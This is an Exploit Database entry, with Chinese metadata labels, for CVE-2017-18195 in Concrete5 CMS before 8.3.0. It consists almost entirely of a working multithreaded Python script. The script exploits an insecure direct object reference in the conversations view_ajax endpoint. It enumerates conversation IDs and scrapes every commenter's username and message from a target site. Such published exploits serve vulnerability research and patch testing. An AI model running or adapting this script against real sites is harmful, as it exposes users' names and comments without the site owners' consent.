Concrete5 CMS < 8.3.0 - Username / Comments Enumeration

Exploit Database
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作者： Chapman Schleiss

日期： 2018-02-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/44194/

#!/usr/bin/env python3

# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)

# CVE-2017-18195

# Chapman (R3naissance) Schleiss

from queue import Queue

from threading import Thread

from bs4 import BeautifulSoup

from tabulate import tabulate

import argparse

import requests

import logging

parser = argparse.ArgumentParser(

description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",

)

parser.add_argument('-u','--url', action='store', dest='url', required=True,

help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")

parser.add_argument('-s','--start', action='store', type=int, dest='start_id',

help='Where to start enumeration')

parser.add_argument('-e','--end', action='store', type=int, dest='end_id',

help='Where to end enumeration')

parser.add_argument('-v','--verbose', action='store_true', dest='verbose',

help='This boolean flag will trigger all raw information to stdout')

args = parser.parse_args()

if args.verbose:

logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')

else:

logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

if args.start_id is None:

args.start_id = 1

if args.end_id is None:

args.end_id = 10

def crawl(q, result):

while not q.empty():

work = q.get()

logging.debug("Requesting cnvID: " + str(work))

try:

response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)

logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))

if response.status_code < 400 or response.status_code > 499:

logging.debug("Parsing html and adding comments to results list")

soup = BeautifulSoup(response.text, 'html.parser')

username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})

message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})

for i in range(len(username)):

results.append((work, username[i].text.strip(), message[i].text.strip()))

logging.info("Completed cnvID: " + str(work))

except:

logging.error('Error getting cnvID: ' + str(work))

q.task_done()

return True

q = Queue(maxsize=0)

enum = range(args.start_id, args.end_id + 1)

num_theads = min(50, len(enum))

results = []

for i in enum:

q.put(i)

for i in range(num_theads):

logging.debug('Starting thread ' + str(i))

worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))

worker.setDaemon(True)

worker.start()

logging.debug('Waiting for final threads to complete')

q.join()

logging.info('Enumeration complete')

print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))